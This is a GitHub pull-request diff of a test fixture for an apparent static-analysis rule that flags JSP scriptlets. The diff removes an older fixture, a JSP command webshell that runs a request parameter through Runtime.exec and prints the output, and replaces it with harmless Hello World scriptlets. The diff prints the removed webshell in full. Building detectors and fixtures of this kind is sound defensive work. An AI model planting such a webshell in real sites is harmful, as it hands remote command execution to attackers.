Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 16 additions & 21 deletions java/lang/security/audit/xss/jsp/no-scriptlets.jsp
Original file line number Diff line number Diff line change
@@ -1,27 +1,22 @@
<!-- cf. https://github.com/JoyChou93/webshell/blob/4a2f049afe009f9cc061357b002cff78c06d6c43/jsp/cmd.jsp -->
<!-- cf. https://github.com/nirmaldhara/Jsp-hello-world/blob/master/WebContent/index.jsp -->
<!-- ok: no-scriptlets -->
<%@ page import="java.util.*,java.io.*"%>
<!-- ruleid: no-scriptlets -->
<% %>
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment">
<INPUT TYPE="submit" VALUE="Send">
</FORM> <pre>
<html>
<body>
<!-- declaration -->
<!-- ruleid: no-scriptlets -->
<%!String msg="Hello World"; %>
<!-- 1. scriptlet -->
<!-- ruleid: no-scriptlets -->
<%
if ( request.getParameter( "comment" ) != null )
{
out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream( in );
String disr = dis.readLine();
while ( disr != null )
{
out.println( disr ); disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
out.println("From scriptlet "+msg);
%>

<br>
<!-- expression -->
<!-- ruleid: no-scriptlets -->
<%="From expression "+msg %>
</body>
</html>